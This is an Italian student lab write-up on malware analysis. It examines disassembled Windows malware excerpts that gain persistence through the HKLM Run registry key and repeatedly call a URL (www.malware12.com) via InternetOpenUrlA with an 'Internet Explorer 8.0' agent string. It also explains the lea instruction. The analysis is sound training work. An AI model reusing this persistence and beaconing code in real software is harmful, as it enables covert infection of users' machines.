Pratica S11/L1 - Windows malware

L'esercizio di oggi consiste nell'analizzare degli estratti di un malware reale e rispondere a questi quesiti:

1.Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite.

2.Identificare il client software utilizzato dal malware per la connessione ad Internet.

3.Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL.

BONUS:qual'è il significato e il funzionamento del comando assembly "lea".

```
)040286F   push    2                 ; samDesired
)0402871   push    eax               ; ulOptions
)0402872   push    offset SubKey     ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
)0402877   push    HKEY_LOCAL_MACHINE ; hKey
)040287C   call    esi ; RegOpenKeyExW
)040287E   test    eax, eax
)0402880   jnz     short loc_4028C5
)0402882
)0402882 loc_402882:
)0402882   lea     ecx, [esp+424h+Data]
)0402886   push    ecx               ; lpString
)0402887   mov     bl, 1
)0402889   call    ds:lstrlenW
)040288F   lea     edx, [eax+eax+2]
)0402893   push    edx               ; cbData
)0402894   mov     edx, [esp+428h+hKey]
)0402898   lea     eax, [esp+428h+Data]
)040289C   push    eax               ; lpData
)040289D   push    1                 ; dwType
)040289F   push    0                 ; Reserved
)04028A1   lea     ecx, [esp+434h+ValueName]
)04028A8   push    ecx               ; lpValueName
)04028A9   push    edx               ; hKey
)04028AA   call    ds:RegSetValueExW
```

```
.text:00401150 ; ╔═══════════════ S U B R O U T I N E ═══════════════════════════════════════
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress    proc near               ; DATA XREF: sub_401040+EC↑o
.text:00401150                 push    esi
.text:00401151                 push    edi
.text:00401152                 push    0               ; dwFlags
.text:00401154                 push    0               ; lpszProxyBypass
.text:00401156                 push    0               ; lpszProxy
.text:00401158                 push    1               ; dwAccessType
.text:0040115A                 push    offset szAgent  ; "Internet Explorer 8.0"
.text:0040115F                 call    ds:InternetOpenA
.text:00401165                 mov     edi, ds:InternetOpenUrlA
.text:0040116B                 mov     esi, eax
.text:0040116D
.text:0040116D loc_40116D:                             ; CODE XREF: StartAddress+30↓j
.text:0040116D                 push    0               ; dwContext
.text:0040116F                 push    80000000h       ; dwFlags
.text:00401174                 push    0               ; dwHeadersLength
.text:00401176                 push    0               ; lpszHeaders
.text:00401178                 push    offset szUrl    ; "http://www.malware12COM
.text:0040117D                 push    esi             ; hInternet
.text:0040117E                 call    edi ; InternetOpenUrlA
.text:00401180                 jmp     short loc_40116D
.text:00401180 StartAddress    endp
.text:00401180
```

1.Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite.

Il malware in questione inserisce un nuvo valore all'interno della chiave di registro "Software\\Microsoft\\Windows\\CurrentVersion\\Run" attraverso il comando push che corrisponde a tutti i programmi che si avviano in automatico all'avvio della macchina.

Per ottenere la persistenza utilizza due funzioni:

RegOpenKeyExW: attraverso il comando di push i parametri vengono passati allo stack per poi arrivare alla chiamata della funzione che ci permette l'apertura della chiave selezionata.

RegSetValueExW: questa funzione invece permette l'inserimento di un nuovo valore all'interno della chiave di registro.

2.Identificare il client software utilizzato dal malware per la connessione ad Internet.

```
.text:00401152                 push    0               ; dwFlags
.text:00401154                 push    0               ; lpszProxyBypass
.text:00401156                 push    0               ; lpszProxy
.text:00401158                 push    1               ; dwAccessType
.text:0040115A                 push    offset szAgent  ; "Internet Explorer 8.0"
.text:0040115F                 call    ds:InternetOpenA
.text:00401165                 mov     edi, ds:InternetOpenUrlA
.text:0040116B                 mov     esi, eax
```

In questo frammento di codice possiavo notare che il client utilizzato per la connessione ad internet è Internet Explorer 8.0.

3.Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL.

In questa parte di codice possiamo vedere chiaramente che il malware tenta la connessione al sito "www.malware12.com".

Possiamo anche notare la chiamate di funzione che permette al malvare di connettersi con "call edi ; InternetOpenurlA".

BONUS:qual'è il significato e il funzionamento del comando assembly "lea".

Il comando "lea" in assembly è utilizzato per calcolare un indirizzo di memoria effettivo da questo il nome "Effective Address" e caricare questo indirizzo in un registro.

Nonostante il nome suggerisca "caricamento - load" l'istruzione 'lea' è spesso usata per fare operazioni aritmetiche senza dover accedere alla memoria.

Un esempio di sintassi potrebbe essere: lea eax, [ebx + ecx*2 + 10]

Dove 'lea' effettua i calcoli e poi carica l'indirizzo calcolato nel registro eax.